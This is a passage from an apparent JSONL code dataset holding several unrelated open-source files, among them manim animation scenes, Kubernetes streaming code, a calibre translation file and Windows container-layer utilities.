label.match_color(height_line)\n            label.set_height(min(height_line.get_height(), 0.3))\n            label.set_stroke(BLACK, 3, background=True)\n            label.next_to(height_line, RIGHT, SMALL_BUFF)\n            return label\n        self.h_label = always_redraw(get_h_label)\n\n        def get_w_label():\n            label = TexMobject(\"w\")\n            width_line = self.width_line\n            label.match_color(width_line)\n            label.next_to(width_line, DOWN, SMALL_BUFF)\n            return label\n        self.w_label = always_redraw(get_w_label)\n\n        self.add(r_line, theta_label, arc, self.radius_line)\n        self.play(\n            FadeInFromDown(tan_eq),\n            theta_tracker.set_value, 20 * DEGREES,\n        )\n        self.wait()\n\n        self.tan_eq = tan_eq\n        self.theta_tracker = theta_tracker\n\n    def show_fraction(self):\n        height_line = self.height_line\n        width_line = self.width_line\n        h_label = self.h_label\n        w_label = self.w_label\n        tan_eq = self.tan_eq\n\n        rhs = TexMobject(\n            \"{\\\\text{height}\", \"\\\\over\", \"\\\\text{width}}\"\n        )\n        rhs.next_to(tan_eq, RIGHT)\n        rhs.get_part_by_tex(\"height\").match_color(height_line)\n        rhs.get_part_by_tex(\"width\").match_color(width_line)\n\n        for mob in [height_line, width_line, h_label, w_label]:\n            mob.update()\n\n        self.play(\n            ShowCreation(height_line.copy().clear_updaters(), remover=True),\n            FadeInFrom(h_label.copy().clear_updaters(), RIGHT, remover=True),\n            Write(rhs[:2])\n        )\n        self.add(height_line, h_label)\n        self.play(\n            ShowCreation(width_line.copy().clear_updaters(), remover=True),\n            FadeInFrom(w_label.copy().clear_updaters(), UP, remover=True),\n            self.r_label.fade, 1,\n            Write(rhs[2])\n        )\n        self.add(width_line, w_label)\n        self.wait()\n\n        self.rhs = rhs\n\n    def show_fraction_approximation(self):\n        theta_tracker = self.theta_tracker\n        approx_rhs = TexMobject(\n            \"\\\\approx\", \"{\\\\theta\", \"\\\\over\", \"1}\",\n        )\n        height, over1, width = self.rhs\n        approx, theta, over2, one = approx_rhs\n        approx_rhs.set_color_by_tex(\"\\\\theta\", RED)\n        approx_rhs.next_to(self.rhs, RIGHT, MED_SMALL_BUFF)\n\n        self.play(theta_tracker.set_value, 5 * DEGREES)\n        self.play(Write(VGroup(approx, over2)))\n        self.wait()\n        self.play(Indicate(width))\n        self.play(TransformFromCopy(width, one))\n        self.wait()\n        self.play(Indicate(height))\n        self.play(TransformFromCopy(height, theta))\n        self.wait()\n\n\nclass TangentTaylorSeries(TeacherStudentsScene):\n    def construct(self):\n        series = TexMobject(\n            \"\\\\tan\", \"(\", \"\\\\theta\", \")\", \"=\", \"\\\\theta\", \"+\",\n            \"\\\\frac{1}{3}\", \"\\\\theta\", \"^3\", \"+\",\n            \"\\\\frac{2}{15}\", \"\\\\theta\", \"^5\", \"+\", \"\\\\cdots\",\n            tex_to_color_map={\"\\\\theta\": YELLOW},\n        )\n        series.move_to(2 * UP)\n        series.move_to(self.hold_up_spot, DOWN)\n        series_error = series[7:]\n        series_error_rect = SurroundingRectangle(series_error)\n\n        example = TexMobject(\n            \"\\\\tan\", \"\\\\left(\", \"\\\\frac{1}{100}\", \"\\\\right)\",\n            \"=\", \"\\\\frac{1}{100}\", \"+\",\n            \"\\\\frac{1}{3}\", \"\\\\left(\",\n            \"\\\\frac{1}{1{,}000{,}000}\",\n            \"\\\\right)\", \"+\",\n            \"\\\\frac{2}{15}\", \"\\\\left(\",\n            \"\\\\frac{1}{10{,}000{,}000{,}000}\",\n            \"\\\\right)\", \"+\", \"\\\\cdots\",\n        )\n        example.set_color_by_tex(\"\\\\frac{1}{1\", BLUE)\n        example.set_width(FRAME_WIDTH - 1)\n        example.next_to(self.students, UP, buff=2)\n        example.shift_onto_screen()\n        error = example[7:]\n        error_rect = SurroundingRectangle(error)\n        error_rect.set_color(RED)\n        error_decimal = DecimalNumber(\n            np.tan(0.01) - 0.01,\n            num_decimal_places=15,\n        )\n        error_decimal.next_to(error_rect, DOWN)\n        approx = TexMobject(\"\\\\approx\")\n        approx.next_to(error_decimal, LEFT)\n        error_decimal.add(approx)\n        error_decimal.match_color(error_rect)\n\n        self.play(\n            FadeInFromDown(series),\n            self.teacher.change, \"raise_right_hand\",\n        )\n        self.play(\n            ShowCreation(series_error_rect),\n            self.get_student_changes(*3 * [\"pondering\"])\n        )\n        self.play(FadeOut(series_error_rect))\n        self.play(\n            series.center, series.to_edge, UP,\n        )\n        self.look_at(series)\n        self.play(\n            TransformFromCopy(series[:8], example[:8]),\n            TransformFromCopy(series[8], example[9]),\n            TransformFromCopy(series[10:12], example[11:13]),\n            TransformFromCopy(series[12], example[14]),\n            TransformFromCopy(series[14:], example[16:]),\n            *map(GrowFromCenter, [example[i] for i in (8, 10, 13, 15)])\n        )\n        self.change_student_modes(\"happy\", \"confused\", \"sad\")\n        self.play(ShowCreation(error_rect))\n        self.play(ShowIncreasingSubsets(error_decimal))\n        self.change_all_student_modes(\"hooray\")\n        self.wait(3)\n\n\nclass AnalyzeCircleGeometry1e4(AnalyzeCircleGeometry):\n    CONFIG = {\n        \"mass_ratio\": 10000,\n    }\n\n\nclass SumUpWrapper(Scene):\n    def construct(self):\n        title = TextMobject(\"To sum up:\")\n        title.scale(1.5)\n        title.to_edge(UP)\n        screen_rect = ScreenRectangle(height=6)\n        screen_rect.set_fill(BLACK, 1)\n        screen_rect.next_to(title, DOWN)\n        self.add(FullScreenFadeRectangle(\n            fill_color=DARK_GREY,\n            fill_opacity=0.5\n        ))\n        self.play(\n            FadeInFromDown(title),\n            FadeIn(screen_rect),\n        )\n        self.wait()\n\n\nclass ConservationLawSummary(Scene):\n    def construct(self):\n        energy_eq = TexMobject(\n            \"\\\\frac{1}{2}\", \"m_1\", \"(\", \"v_1\", \")\", \"^2\", \"+\",\n            \"\\\\frac{1}{2}\", \"m_2\", \"(\", \"v_2\", \")\", \"^2\", \"=\",\n            \"\\\\text{const.}\",\n        )\n        energy_word = TextMobject(\"Energy\")\n        energy_word.scale(2)\n        circle = Circle(color=YELLOW, radius=2)\n        energy_group = VGroup(energy_word, energy_eq, circle)\n        momentum_eq = TexMobject(\n            \"m_1\", \"v_1\", \"+\", \"m_2\", \"v_2\", \"=\",\n            \"\\\\text{const.}\",\n        )\n        momentum_word = TextMobject(\"Momentum\")\n        momentum_word.scale(2)\n        line = Line(ORIGIN, RIGHT + np.sqrt(10) * DOWN)\n        line.set_color(GREEN)\n        momentum_group = VGroup(momentum_word, momentum_eq, line)\n\n        equations = VGroup(energy_eq, momentum_eq)\n        words = VGroup(energy_word, momentum_word)\n\n        for equation in equations:\n            equation.set_color_by_tex(\"m_\", BLUE)\n            equation.set_color_by_tex(\"v_\", RED)\n\n        words.arrange(\n            DOWN, buff=3,\n        )\n        words.to_edge(LEFT, buff=1.5)\n\n        for group in energy_group, momentum_group:\n            arrow = Arrow(\n                LEFT, 2 * RIGHT,\n                rectangular_stem_width=0.1,\n                tip_length=0.5,\n                color=WHITE\n            )\n            arrow.next_to(group[0], RIGHT)\n            group[1].next_to(group[0], DOWN)\n            group[2].next_to(arrow, RIGHT)\n            group[2].set_stroke(width=6)\n            group.add(arrow)\n        # line.scale(4, about_edge=DR)\n        red_energy_word = energy_word.copy()\n        red_energy_word.set_fill(opacity=0)\n        red_energy_word.set_stroke(RED, 2)\n\n        self.add(energy_group, momentum_group)\n        self.wait()\n        self.play(\n            LaggedStartMap(\n                ShowCreationThenDestruction,\n                red_energy_word\n            ),\n        )\n        for color in [RED, BLUE, PINK, YELLOW]:\n            self.play(ShowCreation(\n                circle.copy().set_color(color),\n            ))\n\n\nclass FinalCommentsOnPhaseSpace(Scene):\n    def construct(self):\n        self.add_title()\n        self.show_related_fields()\n        self.state_to_point()\n        self.puzzle_as_remnant()\n\n    def add_title(self):\n        title = self.title = TextMobject(\"Phase space\")\n        title.scale(2)\n        title.to_edge(UP)\n        title.set_color(YELLOW)\n\n        self.play(Write(title))\n\n    def show_related_fields(self):\n        title = self.title\n\n        images = Group(\n            ImageMobject(\"ClacksThumbnail\"),\n            ImageMobject(\"PictoralODE\"),\n            # ImageMobject(\"DoublePendulumStart\"),\n            ImageMobject(\"MobiusStrip\"),\n        )\n        colors = [BLUE_D, GREY_BROWN, BLUE_C]\n        for image, color in zip(images, colors):\n            image.set_height(2.5)\n            image.add(SurroundingRectangle(\n                image,\n                color=color,\n                stroke_width=5,\n                buff=0,\n            ))\n        images.arrange(RIGHT)\n        images.move_to(DOWN)\n\n        arrows = VGroup(*[\n            Arrow(\n                title.get_bottom(), image.get_top(),\n                color=WHITE,\n            )\n            for image in images\n        ])\n\n        for image, arrow in zip(images, arrows):\n            self.play(\n                GrowArrow(arrow),\n                GrowFromPoint(image, title.get_bottom()),\n            )\n            self.wait()\n        self.wait()\n\n        self.to_fade = Group(images, arrows)\n\n    def state_to_point(self):\n        state = TextMobject(\"State\")\n        arrow = Arrow(\n            2 * LEFT, 2 * RIGHT,\n            color=WHITE,\n            rectangular_stem_width=0.1,\n            tip_length=0.5\n        )\n        point = TextMobject(\"Point\")\n        dynamics = TextMobject(\"Dynamics\")\n        geometry = TextMobject(\"Geometry\")\n        words = VGroup(state, point, dynamics, geometry)\n        for word in words:\n            word.scale(2)\n\n        group = VGroup(state, arrow, point)\n        group.arrange(RIGHT, buff=MED_LARGE_BUFF)\n        group.move_to(2.5 * DOWN)\n\n        dynamics.move_to(state, RIGHT)\n        geometry.move_to(point, LEFT)\n\n        self.play(\n            FadeOutAndShift(self.to_fade, UP),\n            FadeInFrom(state, UP)\n        )\n        self.play(\n            GrowArrow(arrow),\n            FadeInFrom(point, LEFT)\n        )\n        self.wait(2)\n        for w1, w2 in [(state, dynamics), (point, geometry)]:\n            self.play(\n                FadeOutAndShift(w1, UP),\n                FadeInFrom(w2, DOWN),\n            )\n            self.wait()\n        self.wait()\n\n    def puzzle_as_remnant(self):\n        pass\n\n\nclass AltShowTwoPopulations(ShowTwoPopulations):\n    CONFIG = {\n        \"count_word_scale_val\": 2,\n    }\n\n\nclass SimpleTeacherHolding(TeacherStudentsScene):\n    def construct(self):\n        self.play(self.teacher.change, \"raise_right_hand\")\n        self.change_all_student_modes(\"pondering\")\n        self.wait(3)\n\n\nclass EndScreen(PatreonEndScreen):\n    CONFIG = {\n        \"specific_patrons\": [\n            \"Juan Benet\",\n            \"Vassili Philippov\",\n            \"Burt Humburg\",\n            \"Matt Russell\",\n            \"soekul\",\n            \"Richard Barthel\",\n            \"Nathan Jessurun\",\n            \"Ali Yahya\",\n            \"dave nicponski\",\n            \"Yu Jun\",\n            \"Kaustuv DeBiswas\",\n            \"Yana Chernobilsky\",\n            \"Lukas Biewald\",\n            \"Arthur Zey\",\n            \"Roy Larson\",\n            \"Joseph Kelly\",\n            \"Peter Mcinerney\",\n            \"Scott Walter, Ph.D.\",\n            \"Magnus Lysfjord\",\n            \"Evan Phillips\",\n            \"Graham\",\n            \"Mauricio Collares\",\n            \"Quantopian\",\n            \"Jordan Scales\",\n            \"Lukas -krtek.net- Novy\",\n            \"John Shaughnessy\",\n            \"Joseph John Cox\",\n            \"Ryan Atallah\",\n            \"Britt Selvitelle\",\n            \"Jonathan Wilson\",\n            \"Randy C. Will\",\n            \"Magnus Dahlström\",\n            \"David Gow\",\n            \"J\",\n            \"Luc Ritchie\",\n            \"Rish Kundalia\",\n            \"Bob Sanderson\",\n            \"Mathew Bramson\",\n            \"Mustafa Mahdi\",\n            \"Robert Teed\",\n            \"Cooper Jones\",\n            \"Jeff Linse\",\n            \"John Haley\",\n            \"Boris Veselinovich\",\n            \"Andrew Busey\",\n            \"Awoo\",\n            \"Linh Tran\",\n            \"Ripta Pasay\",\n            \"David Clark\",\n            \"Mathias Jansson\",\n            \"Clark Gaebel\",\n            \"Bernd Sing\",\n            \"Jason Hise\",\n            \"Ankalagon\",\n            \"Dave B\",\n            \"Ted Suzman\",\n            \"Chris Connett\",\n            \"Eric Younge\",\n            \"1stViewMaths\",\n            \"Jacob Magnuson\",\n            \"Jonathan Eppele\",\n            \"Delton Ding\",\n            \"James Hughes\",\n            \"Stevie Metke\",\n            \"Yaw Etse\",\n            \"John Griffith\",\n            \"Magister Mugit\",\n            \"Ludwig Schubert\",\n            \"Giovanni Filippi\",\n            \"Matt Langford\",\n            \"Matt Roveto\",\n            \"Jameel Syed\",\n            \"Richard Burgmann\",\n            \"Solara570\",\n            \"Alexis Olson\",\n            \"Jeff Straathof\",\n            \"John V Wertheim\",\n            \"Sindre Reino Trosterud\",\n            \"Song Gao\",\n            \"Peter Ehrnstrom\",\n            \"Valeriy Skobelev\",\n            \"Art Ianuzzi\",\n            \"Michael Faust\",\n            \"Omar Zrien\",\n            \"Adrian Robinson\",\n            \"Federico Lebron\",\n            \"Kai-Siang Ang\",\n            \"Michael Hardel\",\n            \"Nero Li\",\n            \"Ryan Williams\",\n            \"Charles Southerland\",\n            \"Devarsh Desai\",\n            \"Hal Hildebrand\",\n            \"Jan Pijpers\",\n            \"L0j1k\",\n            \"Mark B Bahu\",\n            \"Márton Vaitkus\",\n            \"Richard Comish\",\n            \"Zach Cardwell\",\n            \"Brian Staroselsky\",\n            \"Matthew Cocke\",\n            \"Christian Kaiser\",\n            \"Danger Dai\",\n            \"Dave Kester\",\n            \"eaglle\",\n            \"Florian Chudigiewitsch\",\n            \"Roobie\",\n            \"Xavier Bernard\",\n            \"YinYangBalance.Asia\",\n            \"Eryq Ouithaqueue\",\n            \"Kanan Gill\",\n            \"j eduardo perez\",\n            \"Antonio Juarez\",\n            \"Owen Campbell-Moore\",\n        ],\n    }\n\n\nclass SolutionThumbnail(Thumbnail):\n    CONFIG = {\n        \"sliding_blocks_config\": {\n            \"block1_config\": {\n                \"label_text\": \"$100^{d}$ kg\",\n            },\n            \"collect_clack_data\": False,\n        },\n    }\n\n    def add_text(self):\n        word = TextMobject(\"Solution\")\n        question = TextMobject(\"How many collisions?\")\n        word.set_width(7)\n        question.match_width(word)\n        question.next_to(word, UP)\n        group = VGroup(word, question)\n        group.to_edge(UP, buff=MED_LARGE_BUFF)\n        word.set_color(RED)\n        question.set_color(YELLOW)\n        group.set_stroke(RED, 2, background=True)\n        self.add(group)\n"}
+{"text": "//  Copyright 2009-2010 Vicente J. Botet Escriba\n\n//  Distributed under the Boost Software License, Version 1.0.\n//  See http://www.boost.org/LICENSE_1_0.txt\n\n#ifndef BOOST_CHRONO_DETAIL_SYSTEM_HPP\n#define BOOST_CHRONO_DETAIL_SYSTEM_HPP\n\n#if !defined BOOST_CHRONO_DONT_PROVIDE_HYBRID_ERROR_HANDLING\n\n#include \n\n#define BOOST_CHRONO_SYSTEM_CATEGORY boost::system::system_category()\n\n#define BOOST_CHRONO_THROWS boost::throws()\n#define BOOST_CHRONO_IS_THROWS(EC) (&EC==&boost::throws())\n\n#endif\n#endif\n"}
+{"text": "/**\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow strict-local\n * @format\n */\n\n'use strict';\n\nimport * as React from 'react';\n\nconst ScrollView = require('../../Components/ScrollView/ScrollView');\nconst createAnimatedComponent = require('../createAnimatedComponent');\n\nimport type {AnimatedComponentType} from '../createAnimatedComponent';\n\n/**\n * @see https://github.com/facebook/react-native/commit/b8c8562\n */\nconst ScrollViewWithEventThrottle = React.forwardRef((props, ref) => (\n  \n));\n\nmodule.exports = (createAnimatedComponent(\n  ScrollViewWithEventThrottle,\n): AnimatedComponentType<\n  React.ElementConfig,\n  React.ElementRef,\n>);\n"}
+{"text": "// This object will be used as the prototype for Nodes when creating a\n// DOM-Level-1-compliant structure.\nvar NodePrototype = module.exports = {\n\tget firstChild() {\n\t\tvar children = this.children;\n\t\treturn children && children[0] || null;\n\t},\n\tget lastChild() {\n\t\tvar children = this.children;\n\t\treturn children && children[children.length - 1] || null;\n\t},\n\tget nodeType() {\n\t\treturn nodeTypes[this.type] || nodeTypes.element;\n\t}\n};\n\nvar domLvl1 = {\n\ttagName: \"name\",\n\tchildNodes: \"children\",\n\tparentNode: \"parent\",\n\tpreviousSibling: \"prev\",\n\tnextSibling: \"next\",\n\tnodeValue: \"data\"\n};\n\nvar nodeTypes = {\n\telement: 1,\n\ttext: 3,\n\tcdata: 4,\n\tcomment: 8\n};\n\nObject.keys(domLvl1).forEach(function(key) {\n\tvar shorthand = domLvl1[key];\n\tObject.defineProperty(NodePrototype, key, {\n\t\tget: function() {\n\t\t\treturn this[shorthand] || null;\n\t\t},\n\t\tset: function(val) {\n\t\t\tthis[shorthand] = val;\n\t\t\treturn val;\n\t\t}\n\t});\n});\n"}
+{"text": "/*\nCopyright 2015 The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\n// Package streaming implements encoder and decoder for streams\n// of runtime.Objects over io.Writer/Readers.\npackage streaming\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"io\"\n\n\t\"k8s.io/apimachinery/pkg/runtime\"\n\t\"k8s.io/apimachinery/pkg/runtime/schema\"\n)\n\n// Encoder is a runtime.Encoder on a stream.\ntype Encoder interface {\n\t// Encode will write the provided object to the stream or return an error. It obeys the same\n\t// contract as runtime.VersionedEncoder.\n\tEncode(obj runtime.Object) error\n}\n\n// Decoder is a runtime.Decoder from a stream.\ntype Decoder interface {\n\t// Decode will return io.EOF when no more objects are available.\n\tDecode(defaults *schema.GroupVersionKind, into runtime.Object) (runtime.Object, *schema.GroupVersionKind, error)\n\t// Close closes the underlying stream.\n\tClose() error\n}\n\n// Serializer is a factory for creating encoders and decoders that work over streams.\ntype Serializer interface {\n\tNewEncoder(w io.Writer) Encoder\n\tNewDecoder(r io.ReadCloser) Decoder\n}\n\ntype decoder struct {\n\treader    io.ReadCloser\n\tdecoder   runtime.Decoder\n\tbuf       []byte\n\tmaxBytes  int\n\tresetRead bool\n}\n\n// NewDecoder creates a streaming decoder that reads object chunks from r and decodes them with d.\n// The reader is expected to return ErrShortRead if the provided buffer is not large enough to read\n// an entire object.\nfunc NewDecoder(r io.ReadCloser, d runtime.Decoder) Decoder {\n\treturn &decoder{\n\t\treader:   r,\n\t\tdecoder:  d,\n\t\tbuf:      make([]byte, 1024),\n\t\tmaxBytes: 16 * 1024 * 1024,\n\t}\n}\n\nvar ErrObjectTooLarge = fmt.Errorf(\"object to decode was longer than maximum allowed size\")\n\n// Decode reads the next object from the stream and decodes it.\nfunc (d *decoder) Decode(defaults *schema.GroupVersionKind, into runtime.Object) (runtime.Object, *schema.GroupVersionKind, error) {\n\tbase := 0\n\tfor {\n\t\tn, err := d.reader.Read(d.buf[base:])\n\t\tif err == io.ErrShortBuffer {\n\t\t\tif n == 0 {\n\t\t\t\treturn nil, nil, fmt.Errorf(\"got short buffer with n=0, base=%d, cap=%d\", base, cap(d.buf))\n\t\t\t}\n\t\t\tif d.resetRead {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// double the buffer size up to maxBytes\n\t\t\tif len(d.buf) < d.maxBytes {\n\t\t\t\tbase += n\n\t\t\t\td.buf = append(d.buf, make([]byte, len(d.buf))...)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// must read the rest of the frame (until we stop getting ErrShortBuffer)\n\t\t\td.resetRead = true\n\t\t\tbase = 0\n\t\t\treturn nil, nil, ErrObjectTooLarge\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\t\tif d.resetRead {\n\t\t\t// now that we have drained the large read, continue\n\t\t\td.resetRead = false\n\t\t\tcontinue\n\t\t}\n\t\tbase += n\n\t\tbreak\n\t}\n\treturn d.decoder.Decode(d.buf[:base], defaults, into)\n}\n\nfunc (d *decoder) Close() error {\n\treturn d.reader.Close()\n}\n\ntype encoder struct {\n\twriter  io.Writer\n\tencoder runtime.Encoder\n\tbuf     *bytes.Buffer\n}\n\n// NewEncoder returns a new streaming encoder.\nfunc NewEncoder(w io.Writer, e runtime.Encoder) Encoder {\n\treturn &encoder{\n\t\twriter:  w,\n\t\tencoder: e,\n\t\tbuf:     &bytes.Buffer{},\n\t}\n}\n\n// Encode writes the provided object to the nested writer.\nfunc (e *encoder) Encode(obj runtime.Object) error {\n\tif err := e.encoder.Encode(obj, e.buf); err != nil {\n\t\treturn err\n\t}\n\t_, err := e.writer.Write(e.buf.Bytes())\n\te.buf.Reset()\n\treturn err\n}\n"}
+{"text": "module Main\n\nh : Bool -> Nat\nh False = r1 where\n  r : Nat\n  r = S Z\n  r1 : Nat\n  r1 = r\nh True = r2 where\n  r : Nat\n  r = Z\n  r2 : Nat\n  r2 = r\n\nmain : IO ()\nmain = do printLn (h True); printLn (h False)\n"}
+{"text": "# SOME DESCRIPTIVE TITLE.\n# Copyright (C) Kovid Goyal\n# This file is distributed under the same license as the calibre package.\n# \n# Translators:\n# Arman High , 2017\nmsgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: calibre\\n\"\n\"Report-Msgid-Bugs-To: \\n\"\n\"POT-Creation-Date: 2020-07-03 07:43+0530\\n\"\n\"PO-Revision-Date: 2020-07-03 02:15+0000\\n\"\n\"Last-Translator: Kovid Goyal \\n\"\n\"Language-Team: Armenian (http://www.transifex.com/calibre/calibre/language/hy/)\\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\"Language: hy\\n\"\n\"Plural-Forms: nplurals=2; plural=(n != 1);\\n\"\n\n#: ../../home/kovid/work/calibre/manual/glossary.rst:3\nmsgid \"Glossary\"\nmsgstr \"\"\n\n#: ../../home/kovid/work/calibre/manual/glossary.rst:6\nmsgid \"RSS\"\nmsgstr \"RSS\"\n\n#: ../../home/kovid/work/calibre/manual/glossary.rst:8\nmsgid \"\"\n\"**RSS** *(Really Simple Syndication)* is a web feed format that is used to \"\n\"publish frequently updated content, like news articles, blog posts, etc. It \"\n\"is a format that is particularly suited to being read by computers, and is \"\n\"therefore the preferred way of getting content from the web into an e-book. \"\n\"There are many other feed formats in use on the Internet, and calibre \"\n\"understands most of them. In particular, it has good support for the *ATOM* \"\n\"format, which is commonly used for blogs.\"\nmsgstr \"\"\n\n#: ../../home/kovid/work/calibre/manual/glossary.rst:9\nmsgid \"recipe\"\nmsgstr \"\"\n\n#: ../../home/kovid/work/calibre/manual/glossary.rst:11\nmsgid \"\"\n\"A recipe is a set of instructions that teach calibre how to convert an \"\n\"online news source, such as a magazine or a blog, into an e-book. A recipe \"\n\"is essentially `Python `_ code. As such, it is \"\n\"capable of converting arbitrarily complex news sources into e-books. At the \"\n\"simplest level, it is just a set of variables, such as URLs, that give \"\n\"calibre enough information to go out onto the Internet and download the \"\n\"news.\"\nmsgstr \"\"\n\n#: ../../home/kovid/work/calibre/manual/glossary.rst:12\nmsgid \"HTML\"\nmsgstr \"HTML\"\n\n#: ../../home/kovid/work/calibre/manual/glossary.rst:14\nmsgid \"\"\n\"**HTML** *(Hyper Text Mark-Up Language)*, a subset of Standard Generalized \"\n\"Mark-Up Language (SGML) for electronic publishing, is the specific standard \"\n\"used for the World Wide Web.\"\nmsgstr \"\"\n\n#: ../../home/kovid/work/calibre/manual/glossary.rst:15\nmsgid \"CSS\"\nmsgstr \"CSS\"\n\n#: ../../home/kovid/work/calibre/manual/glossary.rst:17\nmsgid \"\"\n\"**CSS** *(Cascading Style Sheets)* is a language used to describe how an \"\n\":term:`HTML` document should be rendered (visual styling).\"\nmsgstr \"\"\n\n#: ../../home/kovid/work/calibre/manual/glossary.rst:18\nmsgid \"API\"\nmsgstr \"API\"\n\n#: ../../home/kovid/work/calibre/manual/glossary.rst:20\nmsgid \"\"\n\"**API** *(Application Programming Interface)* is a source code interface \"\n\"that a library provides to support requests for services to be made of it by\"\n\" computer programs.\"\nmsgstr \"\"\n\n#: ../../home/kovid/work/calibre/manual/glossary.rst:21\nmsgid \"LRF\"\nmsgstr \"LRF\"\n\n#: ../../home/kovid/work/calibre/manual/glossary.rst:23\nmsgid \"**LRF** The e-book format that is read by the SONY e-book readers.\"\nmsgstr \"\"\n\n#: ../../home/kovid/work/calibre/manual/glossary.rst:24\nmsgid \"URL\"\nmsgstr \"URL\"\n\n#: ../../home/kovid/work/calibre/manual/glossary.rst:26\nmsgid \"\"\n\"**URL** *(Uniform Resource Locator)* for example: ``http://example.com``\"\nmsgstr \"\"\n\n#: ../../home/kovid/work/calibre/manual/glossary.rst:27\nmsgid \"regexp\"\nmsgstr \"regexp\"\n\n#: ../../home/kovid/work/calibre/manual/glossary.rst:29\nmsgid \"\"\n\"**Regular expressions** provide a concise and flexible means for identifying\"\n\" strings of text of interest, such as particular characters, words, or \"\n\"patterns of characters. See `regexp syntax \"\n\"`_ for the syntax of regular \"\n\"expressions used in Python.\"\nmsgstr \"\"\n"}
+{"text": "// Code generated by go-swagger; DO NOT EDIT.\n\npackage event\n\n// This file was generated by the swagger tool.\n// Editing this file might prove futile when you re-run the generate command\n\nimport (\n\t\"net/http\"\n\n\tmiddleware \"github.com/go-openapi/runtime/middleware\"\n)\n\n// HandleEventHandlerFunc turns a function with the right signature into a handle event handler\ntype HandleEventHandlerFunc func(HandleEventParams) middleware.Responder\n\n// Handle executing the request and returning a response\nfunc (fn HandleEventHandlerFunc) Handle(params HandleEventParams) middleware.Responder {\n\treturn fn(params)\n}\n\n// HandleEventHandler interface for that can handle valid handle event params\ntype HandleEventHandler interface {\n\tHandle(HandleEventParams) middleware.Responder\n}\n\n// NewHandleEvent creates a new http.Handler for the handle event operation\nfunc NewHandleEvent(ctx *middleware.Context, handler HandleEventHandler) *HandleEvent {\n\treturn &HandleEvent{Context: ctx, Handler: handler}\n}\n\n/*HandleEvent swagger:route POST /event event handleEvent\n\nHandles an incoming event\n\n*/\ntype HandleEvent struct {\n\tContext *middleware.Context\n\tHandler HandleEventHandler\n}\n\nfunc (o *HandleEvent) ServeHTTP(rw http.ResponseWriter, r *http.Request) {\n\troute, rCtx, _ := o.Context.RouteInfo(r)\n\tif rCtx != nil {\n\t\tr = rCtx\n\t}\n\tvar Params = NewHandleEventParams()\n\n\tif err := o.Context.BindValidRequest(r, route, &Params); err != nil { // bind params\n\t\to.Context.Respond(rw, r, route.Produces, route, err)\n\t\treturn\n\t}\n\n\tres := o.Handler.Handle(Params) // actually handle the request\n\n\to.Context.Respond(rw, r, route.Produces, route, res)\n\n}\n"}
+{"text": "shouldHaveType('Atrauzzi\\LaravelDoctrine\\CacheProvider\\MemcachedProvider');\n    }\n\n    function it_should_initilize_and_return_cacheprovider()\n    {\n        $config = [['host' => '127.0.0.1', 'port' => '11211']];\n        $this->beConstructedThrough('getCacheProvider', $config);\n        $this->shouldHaveType('\\Doctrine\\Common\\Cache\\CacheProvider');\n        $this->shouldHaveType('Doctrine\\Common\\Cache\\MemcachedCache');\n    }\n\n}\n"}
+{"text": "package wclayer\n\nimport (\n\t\"context\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"syscall\"\n\t\"unsafe\"\n\n\t\"github.com/Microsoft/hcsshim/internal/hcserror\"\n\t\"github.com/Microsoft/hcsshim/internal/oc\"\n\t\"github.com/Microsoft/hcsshim/osversion\"\n\t\"go.opencensus.io/trace\"\n)\n\n// ExpandScratchSize expands the size of a layer to at least size bytes.\nfunc ExpandScratchSize(ctx context.Context, path string, size uint64) (err error) {\n\ttitle := \"hcsshim::ExpandScratchSize\"\n\tctx, span := trace.StartSpan(ctx, title)\n\tdefer span.End()\n\tdefer func() { oc.SetSpanStatus(span, err) }()\n\tspan.AddAttributes(\n\t\ttrace.StringAttribute(\"path\", path),\n\t\ttrace.Int64Attribute(\"size\", int64(size)))\n\n\terr = expandSandboxSize(&stdDriverInfo, path, size)\n\tif err != nil {\n\t\treturn hcserror.New(err, title+\" - failed\", \"\")\n\t}\n\n\t// Manually expand the volume now in order to work around bugs in 19H1 and\n\t// prerelease versions of Vb. Remove once this is fixed in Windows.\n\tif build := osversion.Get().Build; build >= osversion.V19H1 && build < 19020 {\n\t\terr = expandSandboxVolume(ctx, path)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\ntype virtualStorageType struct {\n\tDeviceID uint32\n\tVendorID [16]byte\n}\n\ntype openVersion2 struct {\n\tGetInfoOnly    int32    // bool but 4-byte aligned\n\tReadOnly       int32    // bool but 4-byte aligned\n\tResiliencyGUID [16]byte // GUID\n}\n\ntype openVirtualDiskParameters struct {\n\tVersion  uint32 // Must always be set to 2\n\tVersion2 openVersion2\n}\n\nfunc attachVhd(path string) (syscall.Handle, error) {\n\tvar (\n\t\tdefaultType virtualStorageType\n\t\thandle      syscall.Handle\n\t)\n\tparameters := openVirtualDiskParameters{Version: 2}\n\terr := openVirtualDisk(\n\t\t&defaultType,\n\t\tpath,\n\t\t0,\n\t\t0,\n\t\t¶meters,\n\t\t&handle)\n\tif err != nil {\n\t\treturn 0, &os.PathError{Op: \"OpenVirtualDisk\", Path: path, Err: err}\n\t}\n\terr = attachVirtualDisk(handle, 0, 0, 0, 0, 0)\n\tif err != nil {\n\t\tsyscall.Close(handle)\n\t\treturn 0, &os.PathError{Op: \"AttachVirtualDisk\", Path: path, Err: err}\n\t}\n\treturn handle, nil\n}\n\nfunc expandSandboxVolume(ctx context.Context, path string) error {\n\t// Mount the sandbox VHD temporarily.\n\tvhdPath := filepath.Join(path, \"sandbox.vhdx\")\n\tvhd, err := attachVhd(vhdPath)\n\tif err != nil {\n\t\treturn 